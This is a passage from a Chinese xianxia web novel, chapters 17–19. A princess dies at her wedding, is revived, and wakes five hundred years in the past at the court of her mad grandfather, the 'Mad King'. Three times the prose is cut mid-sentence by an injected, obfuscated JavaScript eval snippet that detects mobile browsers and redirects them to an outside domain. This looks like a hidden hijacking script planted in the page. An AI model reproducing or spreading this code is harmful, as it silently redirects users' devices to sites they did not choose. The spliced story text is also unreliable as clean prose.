虞殃猛地拔出长剑,东君虚弱地跪在地上,他嗤笑道:“谁给你的胆子觊觎伏天血脉的?” 东君重重地跪在地上,嗓音已经沙哑地听不出原来的音色,“陛下,请您为伏天氏留下血脉。” 东君忠于伏天氏,但不忠于天横帝君。 虞殃突然厌烦地把剑扔下,他冷冷地看向四周,“你们也是来劝我的?” 东皇看着曾经的同僚并未言语,大司命保持着微笑,云中君面无表情,虞殃看向他们身后,南境唯一的圣者平静道: “陛下,您需要留下血脉。” 离殊尊者带走了奄奄一息的东君,当东君再次出现在南境的时候她抱来了一个婴儿,她将婴儿交给离殊尊者,东君道,“您看,这孩子多像陛下呀。” 再后来陛下亲手杀了东君。 雨师喃喃道:“公主殿下一直以为东君大人是她的母亲……” 公主殿下从前经常一个人偷偷地给东君烧纸钱,她自以为藏得很好,然而雨师几次看到陛下坐在塔顶看公主边烧纸钱边跟东君说一些悄悄话,她不知道母亲是怎么离世的,以为她是生了重病,她不敢在陛下面前提东君,只好拐弯抹角地向他们打听东君是怎样的一个人。 公主殿下一直很想东君。 不知过了多久房门打开了,陛下神情阴森,他拂袖看向远处,“看好她。” 风伯和雨师不知道陛下是怎么处理公主体内这簇神火的,当然,两人也从未思考过为什么神火会出现在公主体内,陛下要去做什么。 云中君和大司命相继进去房间看了会公主,一直到半夜他们都守在公主殿下的房前,直到房门被从内打开,公主殿下竟然醒过来了。 雨师急忙问道:“殿下,您有没有好一点……” 公主殿下眨了眨眼睛,她歪头盯着风伯和雨师,突然笑了起来,风伯和雨师有一瞬间的毛骨悚然,这个笑容像极了陛下,像……陛下杀人时的样子。 等他们反应过来的时候火焰已经点燃了他们的全身,神祇不会轻易死亡,他们只是在震惊,公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532109|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主殿下语气轻快道:“真有意思。” 她看上去像个不知事的孩子。 “你……”是谁? 公主殿下没有穿鞋子,她像是刚刚从床上走下来,还穿着那身嫁衣,美丽地不可方物,神情天真烂漫,每走一步足下就燃起黑焰。 她点燃了皇宫。 …… 我像是被关进了一个黑笼子里,周身的空间狭窄地可怕,又黑又冷,我抱着膝盖内心惶恐,这里是哪里? 突然,我的面前亮起了一簇火焰,这簇火焰越来越大,最后占据了我的全部视线,驱散了寒冷,我下意识朝它伸出手,紧接着睁开了眼睛。 我站在一处悬崖边上。 面前是千里焦土与满地焦尸。 还有数不清的骨灰,大风一吹,纷纷扬扬,落在我的脸上。 人间炼狱。 我脚下踩到了一个凸起的东西,我浑身僵硬地低头,看到一个烧焦的头骨。 我双腿一软跪坐在地上,猛地抱住膝盖浑身发抖,我紧紧咬着唇,记忆开始回笼,我、我明明在和微生濋成婚,到底发生了什么…… 面前覆盖上一道阴影,我满怀期待地抬头,迎接我的是无情的利刃。 一缕红发掉在了我的脸上,如火焰般的赤色长发倾泄而下,我看到了张戴着空白面具的脸,那张脸上什么也没有,没有五官亦无法看出情绪波动,即使是杀人我也不知道他是抱着怎样的神情。 我听到了悠远的龙啸,跌倒在地上时还想着是不是父君派人来找我了。 我在这里…… 我记不清那张脸,即使他刚刚夺走了我的生命,我只好努力瞪大眼睛,红发男人微微垂头,原本应该是眼睛的部位“看”向我,他抽出了刚刚捅入我心口的匕首。 “神火之主。”他道,像是许久没有开口过了一样,嗓音嘶哑难听。 “我名,神火侍者。” 空气仿佛被凝滞了一样,时间在这一刻被按下了暂停键 。 “唉。” 我在混沌中似乎听到了一声叹息,我似乎不是第一次经历死亡了,因此我缺少了一部分好奇心,只剩下彻底的麻木与疲惫。 我应该要死了,但我不知道是谁杀的我。 我缓缓地闭上了眼睛,死亡在这一刻被无限延缓,我的脑中走马灯般的闪过许多画面,有我前几日与风伯雨师他们一起打麻将的场景也有我被父君骂的场景,还有我上学的场景,我突然发现我这十几年的人生可真是短啊,仅仅一个皇宫就占据了我大部分的记忆。 一只蝴蝶停在了我的脸上,紧接着是第二只,第三只……无数只蝴蝶翩飞着停在少女的身上,蝴蝶、焦土、白骨、穿嫁衣的少女,如梦似幻,天空下起了蒙蒙细雨,但雨水避开了地上的少女,蝴蝶轻颤翅膀,她像是睡着了般紧闭着眼眸,纤长的睫毛在脸上打下一片阴影,一只蝴蝶飞至她的唇边,她永远不会再睁开眼睛了。 黑龙载着主人赶来时只目睹了那穿着嫁衣的少女仿如睡着了般的甜美容颜。 她仿佛马上就能醒来。 火焰从天而降,她连尸体都没有保留下来。 红发的无脸男人,与暴怒的帝王隔空相望,数不清的黑焰点燃了那一片空间,黑龙的咆哮声响彻云霄。 …… “唉。” 伴随着一声叹息,青衣人凭空出现,他垂眸望着这满地狼藉。 “你这丫头,怎么又死了!” 17. 17 玄鸟送来了消息,身着彩衣的侍女跪在我的脚边,她不敢抬头看我的表情。 “娘娘……太子殿下薨了。” 我正在剪花,闻言缓缓地“哦”了声。 我不了解西境的习俗,因此当我见到那具刻满了往生符的棺椁时心中不知作何感想,许多人都来安慰我,我其实没有那么伤心,毕竟我与他才成婚几个月,但我应该伤心,因为我现在是他的妻子。 我披麻戴孝地跪在他的棺椁前,表情麻木地哭了许久,我其实不想哭的,但人死了总要哭一下,不然他岂不是死得毫无意义? 一道身影出现在了我的身后,我回头,迟疑了下喊道:“父皇。” 西境帝君看着我,我忽然发现我的丈夫与他长得可真像,太子渊容姿极盛,而凤皇陛下尤甚之,渊似初日之阳,而其父似灼灼骄阳,姿容之盛鲜少有人能直视。 凤皇陛下道:“你在为他哭吗?” 我道:“是的,父皇。” 凤皇道:“吾儿,来我这里。” 我无动于衷地走到他的面前,他忽然将一朵簪花戴在了我的头上,我微微一怔,帝君道:“从今往后,西境将为你提供庇护。” 我缓缓地微笑了下:“谢谢父皇。” 凤皇盯着我,他似乎还有什么话想对我说,但最终没有开口,他淡淡道:“回去吧。” …… 两位殿下又打起来了。 他们上回打得这么凶狠还是公主殿下十岁生辰宴的时候,大殿下跟陛下说想要在南境建一种名叫“工厂”的东西,陛下没理他,过了几天他又去向陛下进谏,陛下嫌他烦把他扔到战场去了,大殿下从东境战场万千恶鬼中杀回来,用血书向陛下进谏。 陛下这回亲自打了他一顿。 “痴心妄想。”二殿下在旁边嗤笑道。 陛下那天刚好心情不好,于是顺手把两位殿下一起打了一顿,公主殿下刚好路过,于是那一天整座皇宫都听见了公主的哭声,明明被打的不是公主,可是公主却是哭得最厉害的那个。 陛下被哭得不耐烦,随手把两位殿下扔了出去,把公主拎起来,公主哭得满脸都是泪痕,看着可怜巴巴的,被陛下拎起来时还在不停地抽气,陛下道:“哭什么?” 公主哭得更伤心了:“皇兄要被你打死了!” 陛下眉毛动了动,大概想做出一个嫌弃的表情,“那两小子窝里斗了这么多年也没见斗出个结果来,想来和你一样没用。” 公主闻言眼泪“哗啦”掉下来了,“你还骂我!” 陛下:“……” 陛下没养过女儿,公主也是第一次摊上这么个暴君爹,双方都有些不乐意,最不乐意的当然是公主,她很委屈,这狗皇帝天天动不动就把人拖下去砍头,她二皇兄有学有样的,眼看着已经长歪了,俨然一个暴君翻版,她出生在这样一个家庭里每天都活得胆战心惊的! 陛下凝视着公主哭泣的模样,公主抽噎了会感到一双手落在自己脸上,暴君捏着她的脸,从她的额头摸到鼻子又摸到嘴唇,公主脸都被他揉坏了,含泪瞪向他。 陛下突然哈哈大笑了起来,暴君心情阴转晴,公主不明白他怎么又笑起来了,她经常搞不明白这一家子的脑回路,除了她大皇兄他们姓虞的就没一个正常的。 公主陪陛下睡了个午觉才被放回去,她去看望大皇兄,大皇兄今日差点被亲爹打死,他一个人待在宫殿里,公主来的时候看到他赤着上半身给自己上药,大皇子看到妹妹心里一惊,下意识挡住胸口,公主看着他眼眶慢慢地红了。 大皇子:“……小曦,你别哭啊,我还没死呢。” 公主憋着眼泪:“他今天把你打成重伤,明天就能打死你!” 大皇子不怀疑自己亲爹有打死他的想法,他也从不怀疑自己弟弟想弄死他的决心,他弟跟他爹简直一个模子刻出来的,有点阴招全使他身上了,他从前还偶尔唏嘘一下这什么倒霉运气,投胎投到这个家庭里,还好他没喝孟婆汤,不然他绝对活不过童年。 大皇子投胎成功这些年唯一欣慰的就是他妹妹没被带坏,就冲南境皇室这乱七八糟的作风他妹还能保持着善良的本心简直是罕见。 大皇子很有危机意识,从他妹妹刚刚学会喊“哥哥”的时候他就开始担心她未来被狗男人骗了。 公主给他上药,狗皇帝下手没有轻重,亲儿子照打不误,大皇子这些年挨打习惯了,但公主见得少,她盯着他的伤口眼眶又红了。 大皇子伤口不疼了,他心疼。 他试图转移妹妹注意力:“今天虞悯那小子也被揍了。” 公主:“他早就该被揍了。” 大皇子赞同道:“那小子就是欠收拾。” 公主掐了掐他的腰,大皇子倒吸一口凉气,他妹劲还真不小,公主瞪他:“你能不能少跟那昏君顶嘴?” 大皇子表面笑嘻嘻实际想着“老子就是不服气”:“都听妹妹的话。” 公主摸了摸他的背,大皇子觉得妹妹的手像上好的羊脂白玉,细腻又温软,抚过的每一寸肌肤都燃起了热意。 公主叹道:“前天又有刺客来皇宫了。” 大皇子随口道:“虞悯干的吧。” 公主看了他一眼:“亓元氏的小儿子和上官家的小女儿订婚了。” 大皇子头都不抬:“虞悯干的吧。” 公主:“哮天昨天拉肚子了。” 大皇子:“虞悯干的吧。” 公主:“皇兄!” 大皇子:“唉…我错了!” …… 铅灰色的云层在空中翻涌,素练悬在梁上,几名白衣司仪抬着漆黑的灵柩缓步而出。 数不清的长明灯停在半空,一枚金纸钱从棺材里飞了出来,在风中飘飘扬扬,慢慢地落到了我的手上, 我握住那枚纸钱,朝身边问道:“这是谁的葬礼?” 身边人道:“一位公主的葬礼。” 我好奇道:“哪位公主?” 那人看向我:“小公主,这是你的葬礼。” 我愣愣地“哦”了声,静了好久才问道:“你是谁?” 那人答道:“我?无名无姓,或许你在历史上听过我的名字,亦或许没有。” 我觉得他的话很自相矛盾,怎么会有人一边“无名无姓”又一边在历史上留名呢。 因此我断定这是个骗子。 骗子道:“小公主,你又死了。” 我:“哦。” 我:“是谁杀的我?” 骗子道:“我不能告诉你,小公主,我有许多话都不能告诉你,因为言语是有力量的,我若是告诉你会改变这一盘棋,我们好不容易才修补好的这一盘棋,唉,上盘棋被烧光了,希望这盘棋不要再重蹈覆辙。” 我没有听懂他的话,我似乎已经死了,但我却还能与人对话,我低头看自己的身体,这具身体明明还有温度,可是这个骗子却告诉我我已经死了。 骗子道:“我千辛万苦才把你的身体修好,你的确已经死了,三日前,南境公主已经下葬了。” 骗子道:“你这丫头,每一世都死这么早,你们这一家子真让人头疼。” 我:“……每一世?” 骗子道:“时候已至,我将为你重启命盘,这一次我不会抹去你的记忆,你将带着记忆重回过去,望你好自为之,唉,给你安排的几段情缘又没成,上辈子你与微生弦有缘无分那这辈子我安排你与微生濋,可你们都走到成婚那一步了谁知还是出了意外,唉,缘之一字果然玄妙。” 数不清的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532110|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝴蝶凭空出现,我闭上了眼睛,忽然感到一阵疲惫,心脏处一阵一阵地抽疼,我不知道是谁杀的我,也不知道到底发生了什么,更不知道这个说要救我的人是谁。 一只虫子爬到了我的手上。 世有奇虫,名蜉蝣,为朝生暮死之虫,蜉蝣天地,沧海一粟,光阴可逆,万古同悲。 世有名剑,为逆旅,可斩因果,断命数,逆光阴。 蝴蝶扇动翅膀,一切成型的因果都将被推翻重来。 …… 黑焰拔地而起,烧光了飞舞的蝴蝶,青衣人脸色大变。 “不好!” “嘻嘻。” 滔天的烈焰自她身上出现,她的乌发几乎像被染红,穿着嫁衣的少女朝庄生眨了眨眼睛,一派天真烂漫。 “烧死你们。”她道。 她抓起手中的蜉蝣一口吞下。 青衣人气急败坏道:“怎么是这小混蛋!” 蜉蝣开始生效,光阴开始逆转,那穿着嫁衣的少女哈哈笑道: “再见。” “姐姐是我的了。” …… 我像是从一场大梦中醒来,迷蒙中似乎听到了许多声音。 我想起来了,我好像死了,然后有个青衣人说要帮我重生,他似乎还与我说了什么,但我的脑袋现在很疼,什么也想不起来。 我重生了吗? 我不知道。 我睁开眼睛,然后惊讶地瞪大了双目。 这里是一片战场。 不是南境皇宫,甚至可能不是南境。 我踩在焦土上,脚下是累累白骨,抬头望去是无数具焦尸,黑色的火焰在战场中点燃,黑龙的咆哮声由远及近。 黑焰从天而降,点燃了战场,所有人都在这火焰中化为了灰烬。 这绝对是足以称得上神异的一幕,世间最霸道的火焰避开了那个穿着嫁衣的少女,她完好无损地站在烈焰中,火焰无法伤害到她,她像是浴火重生的凤鸟。 “……哦?”我听到了一道熟悉无比的声音,我满怀期待地望去,看到了一张熟悉的面庞。 “父君!”我下意识喊道,天横帝君看着我,不知为何他的眼神十分古怪,但我沉浸在与父君重聚的喜悦中而忽视了这点。 我忽然意识到了不对劲,父君明明是白发,而眼前这个人却有着一头黑发,他扫了我一眼,懒洋洋地让开了身子。 一道身影从他身后走来。 那是一道头戴冠冕的身影,着黑金长袍,十二旒垂落至眼前,眼尾狭长,无法从外表上看出年龄,小指戴了一个黑色的戒指,脚踩黑靴,腰系绶带。 我浑身僵硬,被人近了身也没有反应过来,他低头看着我,突然伸出手指按在了我的额头上,那双手从我的额头一路摸到我的鼻子、嘴唇,像在确认什么,最后落到我的后颈上,我一动也不敢动,觉得自己像被猛禽盯上的绵羊,他盯着我突然笑了起来。 “陛下。” 所有人都跪在他的脚下。 我余光瞥向父君,他没有跪,只是抱着手漫不经心地打量着我们,我突然反应过来这人是谁了。 我忽然尖叫了一声,身体骤然悬空让我不得不紧紧环住身前人的脖颈,我被人抱了起来,男人哈哈大笑着把我扔到了黑龙的头上去,我摔得晕头转向,南境帝君骑在黑龙的头顶命令道: “回宫。” 我坐在黑龙的身上发抖,这里还是南境,但这里已经不是我熟悉的南境了。 数不清的黑焰从天而降,敌我不分地焚烧着一切,神火之主在黑龙的头上大笑: “烧吧!” 火焰永不熄灭。 四境臣服于一人,六道奉他为尊。 这是属于长烬帝君的时代。 18. 18 长烬帝君在历史上被称为“疯王”,他只在位了短短十年,他杀死了所有的兄弟姐妹,最后亲手杀了自己的父亲登上王位,他死在自己儿子的手上。 长烬帝君在位的那十年里四境民不聊生,他是位不折不扣的暴君,与天横帝君不相上下的残暴,但更加的疯狂,我幼时听过许多关于这位帝王的故事,有许多甚至称得上荒诞,据说这位帝王某天突发奇想想要知道人和妖的身体内部是不是一样的于是吩咐手下抓了三百人族三百妖族关在一起,长烬帝君让他们自相残杀,杀到最后只剩下一名人族和一名妖族,最后妖族取得了胜利,长烬帝君挖出了妖的心脏,大笑着说“看,人与妖都有一颗心脏”。 南境皇室的每一任帝王精神都不太正常,我们家似乎没有出过“明君”那种东西。 长烬帝君在位期间四境只有一位主人,不近人情的铁血统治让民声怨愤,长烬帝君以武力征服了四境,但纯粹的武力不足以维持国家的长治久安,他死后庞大的帝国分崩离析,而他所在的南境自然成为了众矢之的,一时间南境被疯狂打压,实力大跌,直到后来天横帝君横空出世以铁血手段镇压下了一切叛乱,天横帝君在三境的打压下带领着南境崛起。 我坐在柔软的大床上发呆,觉得自己可能的确有些倒霉,那个青衣人明明说要帮我重生的可是把我送到了这里来。 这人也太不靠谱了吧! ……这里,是五百年前啊! 五百年前,我还没出生,南境帝君另有他人,我所熟悉的人都不认识我,这是一个对我来说完全陌生的时代。 我似乎被当成俘虏抓回来了,虽然不知为何没有被关进牢房里,我被南境帝君亲自带回来,这里还是我熟悉的南境皇宫,我的身份从公主变成了阶下囚。 ……呜呜呜爹你快来救我啊! 我胡思乱想了许久,从猜测自己会不会被亲爷爷拖下去砍头到要不要豁出去了说陛下我是你亲孙女啊。 正常人谁会信这个啊! 不行不行,我得想个办法让父君相信我是他女儿,爹虽然说出来你可能不信但我其实是你女儿,你看咱俩长得多……不行啊我跟父君长得不像啊。 不不不,我肯定还有别的办法证明我的身份,我冥思苦想了许久最后悲伤地发现自己好像没有任何办法证明我和父君的父女关系。 就在这时,房门那边有了动静,我吓得躲到床铺最里面去,双手抓着被子警惕地盯着房门,一道身影走了进来,头戴玄冕,黑袍及地,黑瞳幽深。 我下意识咽了咽口水,这是父君的父亲,那位历史上大名鼎鼎的“疯王”,曾经差点毁灭世界的大魔头,同时也是我的亲爷爷。 他朝我走过来,边走边漫不经心地脱掉了那一身黑袍,我迟钝的大脑终于反应过来了些不对劲,一瞬间我慌张得要命。 ——不!爷爷!你冷静点!我是你亲孙女啊!! 我把被子盖过头顶,十分窝囊地装起了鸵鸟,直到身边的床榻陷进去了一小块,我余光看到了一双苍白又修长的手,当我再次看过去的时候那双手不见了。 我头顶的被子被人强行掀开,我像只被迫见光的老鼠,一动不动浑身僵硬,长烬帝君盯着我,我与他之间的距离不断缩小,我甚至能感受到男人的呼吸扑在我的脸上。 “哦?”长烬帝君捏着我的下巴,他眯着眼睛,像在评估什么,我忽然一阵天旋地转,身体被摔在了柔软的床铺里,当我晕乎乎地从床上爬起来的时候,一件布料被扔到了我的面前。 “穿上。”长烬帝君命令道。 我战战兢兢地拿起那块“布料”,发现这是件做工精美的裙子,就是布料少了点,露得多了点,看着不正经了点…… 我沉默了,我好歹当了这么多年公主,这些年还没人敢给我穿这种衣服,身为公主我偶尔会在一些宴会上露面,公主出行的仪仗必定是大张旗鼓的,公主的着装必定是得体大方的,公主本人必定是高贵端庄的…… 长烬帝君凝视着我,我含泪拿起那件红色的裙子,长烬帝君挑起我的衣摆,我这才反应过来自己还穿着和微生濋成婚的那一身嫁衣,经过我的一番折腾这件本来价值千金的嫁衣已经染上了尘埃,看上去从价值千金变成了价值百金,帝君稍稍用力,伴随着“撕拉”一声我的嫁衣被他撕下了一块大口子。 我:“……” 爷爷你干嘛呢。 我小心翼翼地开口道:“我、我能自己一个人换衣服吗?” 长烬帝君懒洋洋地看了我一眼,并未答应也并未言语,只是将被子重新往我头顶一卷,我的视线陷入了黑暗。 我在黑暗里换起了衣服,自己胡乱摸索了一番,也不知道穿没穿好被子就被掀开,男人盯着我,我浑身发毛,他突然朝我笑了起来,笑容看起来有几分玩味,我不明所以,直到他道:“过来。” 我、我也只好过去了。 我第一次穿这种衣服,感觉浑身不自在,我感觉后背凉飕飕的,浑身都在漏风,长烬帝君躺在榻上,那慵懒的模样让我想起了父君,这昏君平时也爱躺他那张冰床上,在我走神的时候突然脚下一个踉跄摔了下去,我晕头转向地摔在了男人的怀里,余光看到他伸出的那只脚才反应过来发生了什么。 ……好气哦,你们姓虞的都这样神经病吗。 我憋屈地窝在男人的怀抱里,任由他像逗弄一只宠物一样摸我两颊的软肉,他好像对我的脸格外感兴趣,不仅上手摸还捏了好久。 我憋了憋气,已经在心底下定了决心,不管接下来会发生什么我都要坦白自己的身份,爷爷趁现在还没酿成大祸你赶紧收手吧,我是你亲孙女啊! 我在他怀里动了动,突然发现这男人不好好穿衣服,亵衣歪歪扭扭地敞着,领口大开,隐隐可见饱满的胸膛,我愣了愣,然后脸慢慢地红了,我长这么大还没哪个人敢在我面前不好好穿衣服,我眼神乱飞就是不看他。 长烬帝君撑着下巴笑:“你是虞殃的种?” 我神游天外:“啊……啊?!” 我震惊地看着他,他被我逗笑了,天横帝君也爱笑,但他的笑更多的是冷笑和嗤笑,杀人时是狞笑,长烬帝君就是毫无形象的大笑,他经常无缘无故地就笑了起来,他杀人时笑,灭门时也在笑,屠城时哈哈大笑。 长烬帝君捏了捏我的脸,我沉浸在震惊中以至于忽略了他乱摸的手,长烬帝君从我的额头摸到两颊,两颊的软肉手感颇好让他有些稀罕,他多摸了几下,还故意捏了捏。 我:“……陛下,您摸够了吗?” 我心塞地发现南境皇室可能真的没有几个正常人,天横帝君是,长烬帝君更甚之,他若有所思地盯着我的脸,“你跟虞殃倒长得不像。” 我实在没忍住问道:“您是怎么知道的……” 我还什么都没说呢! 我那素未谋面的亲爷爷笑得看上去很开心的样子:“伏天氏的血,化成灰我也认得出来,虞家的人除了虞殃都被我杀了,你这一身血脉是虞殃的?哈哈,有点意思,那小子还会留下血脉。” 我沉默了片刻,小心翼翼地问道:“伏天氏是指的我吗?” 长烬帝君蓦然大笑,他真的是个很爱笑的人,不知道是真笑还是假笑,男人捏着我的下巴,笑容带着几分危险又带着几分漫不经心,“你是从哪里来的?” 我慌张道:“我、我……” 长烬帝君:“哦?” 我大声道:“爷爷我是父君的独生女,你杀了我我们家香火就断了!” 对不起了大皇兄还有二皇兄,我要给自己抬下价,麻烦你们先隐身一下。 长烬帝君被我这一声“爷爷”给震了震,他终于不受控制地大笑起来,他好久没笑得这么开心过了,“父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532111|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君?虞殃那小子还真的登基了?” 我突然闭嘴了,我想起了历史上我爹好像是弑父上位的,我的额头已经开始流冷汗了,完了完了我不会改变历史了吧,要是因为我的一句无心之言让我爹失去了唾手可得的皇位——那我岂不是罪过大了! 在我胆战心惊的时候长烬帝君从榻上起身了,这个男人身量极高,和父君不相上下,玄冠云袍,站起来极具压迫感,他完全站起来的时候能覆盖我面前全部的光影,我跟他站在一起只能勉强到他胸口,不仅如此他一只手臂比我两只胳膊加起来都粗,所以他拎起来我简直是轻而易举。 我从七岁之后就没被人这么拎过了,一瞬间我都忘记了面前这人是我的亲爷爷,那位大名鼎鼎的“疯王”,我恼羞成怒道:“放我下来!” 我脸红得要滴血,不知是气的还是恼的,他、他竟然就这么把我扛出去了! 我把脸深深地埋进男人的胸膛里,感觉一出来有无数道视线落在我的身上,我听到许多声“陛下”,帝君今日心情甚好,没有乱杀人也没有乱放火,带着自己抢回来的美人坐上了王座。 皇宫今夜有庆功宴,台下有数位美人载歌载舞,帝君平日懒得参加这种宴会,今日竟破天荒地露面了,帝君坐在王座上,他的腿边跪坐着一位乌发及腰的少女,几乎在她出现的时候就夺走了所有人的注意,这是一张新面孔,她穿着一身轻薄的红色纱裙,杏眼粉腮,冰肌雪腕,芙蓉花面,神态天真,不知帝君与她说了什么,那张赛雪容颜染上了红晕。 皇宫要有喜事了吗? 在场的人不由自主地想到。 我拢了拢衣袖,感觉有点冷,情不自禁打了个喷嚏,呸,狗皇帝,你跟我爹坐一桌吧,大晚上的还要把我拉到这里来,还不给我穿衣服,我要告诉我爹—— 我忽然反应过来面前这人貌似是我爹的爹,我现在可不是南境的三公主了,我孤身一人在一个无人认识我的陌生时代。 我抱着膝盖心情低落,觉得自己可怜又无助,就冲长烬帝君在历史上的风评我不觉得他会对自己亲孙女有什么感情,他不杀了我就是对我网开一面了。 在我为自己的未来愁眉苦脸的时候,平静的夜晚突然被打破,一道黑衣身影凭空出现,他迅速拔出长剑刺向长烬帝君,长烬帝君头都没抬地弹出一簇火焰,漆黑的火焰迅猛地点燃了黑衣人的衣物,黑衣人顶着烈焰又发动了攻击,可惜南境帝君不是这么好刺杀的,他一击不中干脆利落地后退。 东皇与大司命同时放下酒杯起身。 长烬帝君道:“拖下去。” 我盯着那道黑衣身影越看越眼熟,眼见着那道黑衣身影腹背受敌,我突然大喝一声:“慢着!” 东皇道:“太子殿下。” 这回我清晰地听见了“啧”的一声,黑衣人抱着手傲慢道:“滚。” 长烬帝君坐在王座上单手支着下颔,他懒洋洋道:“拖下去。” 等等…爷爷那是你亲儿子啊…… 见大司命和东皇久久没有动作,长烬帝君不耐烦道:“拖下去。” 我忽然握住他的手,语无伦次地求情:“陛下,您、您能不能放过他……” 长烬帝君低头看着我:“哦?” 我忐忑不安道:“您就这么一个儿子,杀了不太好吧?” 这下黑衣人也看向我了。 气氛大概诡异地安静了会,席间传来帝君的大笑声,帝君朝大司命抬了抬下巴:“你来说说这小子又干了什么事。” 大司命似有似无地看了我眼,男人保持着一贯的微笑:“陛下,这是太子殿下这个月第三十七次试图刺杀您,第二十一次试图烧毁皇宫,第十一次试图造反,第三十五次试图毁灭世界。” 虞殃:“啧。” 我:“……” 我该拿什么劝你,我那一身反骨的爹。 19. 19 虞舟十五岁那年惹怒了天横帝君,帝君一怒之下把他发配到了玄阴界,玄阴界是南境麾下的小世界,本体依附在法阵上,这个小世界以环境奇险出名,多毒瘴与异兽,灵气稀薄,小世界本土居民世代受毒瘴影响发生畸变,外形与常人相差甚远,小世界居民甚至没有自己的语言,他们住在逼仄的洞穴里,白日要躲避异兽的袭击,晚上才敢出来捕食。 虞舟被发配那天我去送他,他看着我给他准备的大包小包防身之物欲言又止。 虞舟:“……妹妹,我只是被发配,不是去送死。” 我一把鼻涕一把泪:“皇兄,山高路远,你保重。” 虞舟感动了会:“小曦,等我回来。” 大皇子这一发配就是两年,这两年里二皇子的势力迅猛发展,原本二皇子对争权夺利什么的兴致缺缺,他只对弄死虞舟感兴趣,但那两年里不知是开窍了还是怎么的,他竟然无师自通学会了政斗,我目瞪口呆地看着他趁虞舟不在把支持虞舟的家族和宗门杀的杀发配的发配,他的动作干脆利落到让我产生了危机感。 下一个不会就到我了吧?! 我每日忧心忡忡,觉得自己就是虞悯上位的下一个牺牲品,好在大皇子及时回来了,不仅回来了他还把原本落后的小世界发展地红红火火的,他教小世界的居民语言与生存技巧,在小世界试验自己的种种想法,两年的时间让玄阴界大变样。 大皇子从小世界里杀了回来,一回来就遭到了二殿下派的打压,大皇子迅速重整旗鼓和二皇子开始了斗法,两位殿下之间的争斗没有惊动陛下,不过陛下继折腾我后多了个爱好,他爱拉着我看两个儿子斗法,还时不时问几句送命题,比如“虞曦,你看这两小子谁更适合当皇帝”。 我只是个吃瓜群众,不想卷入危险的皇位争斗,于是我每天的日常就是装傻、哄陛下睡觉、装傻。 我现在的日常依旧是装傻,现任皇帝长烬帝君笑着问道:“虞殃那小子怎么登基的?” 我:“陛下,昨天的灵果真好吃呀。” 长烬帝君:“你觉得我应该处死那小子吗?” 我:“……陛下,您就这么一位太子,他死了谁来继承您的大统?” 长烬帝君哈哈大笑,我坐在他的腿边,还穿着昨天那身衣服,这狗皇帝不仅不给我衣服穿还不给我睡觉的地方,是的我没有自己的房间是跟狗皇帝睡一起的……啊这样说太让人误会了。 事实是我睡的是皇帝的房间,皇帝我不知道他睡哪个房间,我在大半夜被狗皇帝拎了回去,我紧张了半天发现他可能只是对我这个疑似他未来的大孙女感兴趣,他问了我许多问题,我十分担心他问我关于父君的事情,好在他貌似对我更感兴趣,大半夜的不睡觉拉着我促膝长谈,在我累得昏昏欲睡的时候他才放过我,当我第二天醒来时发现身边空无一人。 我从小就生活在南境皇宫里,因此我对皇宫的布局十分熟悉,我闭着眼睛就能走到自己的寝殿和父君的书房,然后我一不小心就走回了自己原来的寝殿。 五百年前父君还是太子,皇宫里也没有我的位置,我惊讶地发现原本应该是我寝殿的位置现在貌似无人居住,我鬼鬼祟祟地张望了下,犹豫了会就决定进去。 五百年后南境三公主就住在这里,宫殿里没有设门锁,我随便一推门就开了,我顺利地找到了自己的房间,然后找到自己的床躺了上去。 呜呜呜还是自己的床睡得舒服。 我在床上抱着膝盖发了会呆,思考了一下自己的处境,然后郁闷地抓了抓头发,唉,我现在人生地挺熟的,昨天我见到东皇大人都没敢上前打招呼,我这才知道面对陌生人南境朝臣是怎样的一副态度,当他冷着脸看我的时候我就忍不住鼻子发酸。 五百年前,没人认识南境三公主,南境三公主孤苦又无依,这个时代唯一知道我身份的是我的爷爷长烬帝君,不管他在历史上的风评如何我都忍不住想要亲近他,可能因为我们都是一个家族的吧,也有可能是因为他那不把一切放在心上的态度,即使突然多了一个来自未来的孙女长烬帝君好像也没有很惊讶的样子。 我靠着床榻迷迷糊糊地就有了些睡意,熟悉的环境让我情不自禁放松了警惕,而放松警惕的代价就是被人从床上拎起来时我都没反应过来。 一道黑衣身影面色不善地盯着我:“刺客?” 我:“……” 爹你昨天才冒充刺客去刺杀你亲爹呢,你还好意思说我。 我被人暴力地扔到了地上,虽然地上铺了厚厚的羊绒毯但我还是摔得晕头转向,我不可置信地瞪着他。 虞殃:“找死?” 我心里一酸,眼泪不受控制地流了下来,虞殃皱了皱眉,他蹲在我面前,“哭什么?” 我委屈道:“你凶我!” 